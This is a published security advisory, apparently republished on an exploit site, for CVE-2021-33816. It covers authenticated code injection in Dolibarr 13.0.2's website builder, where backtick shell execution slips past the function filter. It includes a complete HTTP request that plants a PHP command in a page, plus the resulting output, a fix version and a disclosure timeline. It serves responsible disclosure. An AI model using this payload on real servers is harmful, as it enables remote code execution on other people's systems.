Dolibarr ERP / CRM 13.0.2 Remote Code Execution

2021.11.10
Credit: Nick Decker
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Trovent Security Advisory 2106-01 # ##################################### Authenticated remote code execution in Dolibarr ERP & CRM ######################################################### Overview ######## Advisory ID: TRSA-2106-01 Advisory version: 1.0 Advisory status: Public Advisory URL: https://trovent.io/security-advisory-2106-01 Affected product: Dolibarr ERP & CRM Tested versions: Dolibarr 13.0.2 Vendor: Dolibarr foundation, https://www.dolibarr.org Credits: Trovent Security GmbH, Nick Decker Detailed description #################### During our security research Trovent Security discovered that the Dolibarr application on default settings allows remote code execution in the website builder module. When trying to use statements like "exec()", "system()" or "shell_exec()" the application blocks them correctly. But we were able to execute code using "``" (backticks) which is the same as "shell_exec()" or "echo fread(popen('/bin/ls /', 'r'), 4096);". Severity: Critical CVSS Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) CWE ID: CWE-94 CVE ID: CVE-2021-33816 Proof of concept ################ This is the HTTP request that creates a website with the malicious code: REQUEST: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /website/index.php HTTP/1.1 Host: 10.11.9.80 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------243035796342141148842632336365 Content-Length: 937 Origin: http://10.11.9.80 Connection: close Referer: http://10.11.9.80/website/index.php Cookie: DOLSESSID_736206a821984837877b8a6a901910d2=v459clrdeu91pfc20se8s0rg4d; DOLUSERCOOKIE_boxfilter_task=all-securitytest-for-dolibarr Upgrade-Insecure-Requests: 1 - -----------------------------243035796342141148842632336365 Content-Disposition: form-data; name="token" f8c257168a5ae06fd1aee2ba4c45ebf9 - -----------------------------243035796342141148842632336365 Content-Disposition: form-data; name="backtopage" - -----------------------------243035796342141148842632336365 Content-Disposition: form-data; name="action" updatesource - -----------------------------243035796342141148842632336365 Content-Disposition: form-data; name="website" test - -----------------------------243035796342141148842632336365 Content-Disposition: form-data; name="pageid" 1 - -----------------------------243035796342141148842632336365 Content-Disposition: form-data; name="update" Save - -----------------------------243035796342141148842632336365 Content-Disposition: form-data; name="PAGE_CONTENT" <?php echo `uname -a`; ?> - -----------------------------243035796342141148842632336365-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CODE: The website now displays the output of the command: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [...] <div id="websitecontentundertopmenu" class="websitecontentundertopmenu boostrap-iso"> <!-- style of website from file --> <style scoped=""> /* Include website CSS file */ /* CSS content (all pages) */ body.bodywebsite { margin: 0; font-family: 'Open Sans', sans-serif; } .bodywebsite h1 { margin-top: 0; margin-bottom: 0; padding: 10px;}/* Include style from the HTML header of page */ </style> <div id="divbodywebsite" class="bodywebsite bodywebpage-tsets"> Linux ec9465c86e5e 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux </div></div> [...] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution / Workaround ##################### We recommend to disable the 'websites' module in Dolibarr until a fixed version is deployed. Fixed in Dolibarr version 14.0.0, verified by Trovent. History ####### 2021-06-01: Vulnerability found 2021-06-02: CVE ID requested 2021-06-03: CVE ID received 2021-06-09: Vendor contacted 2021-06-10: Vendor reported the vulnerability as fixed 2021-11-08: Add information about fixed version 2021-11-10: Advisory published


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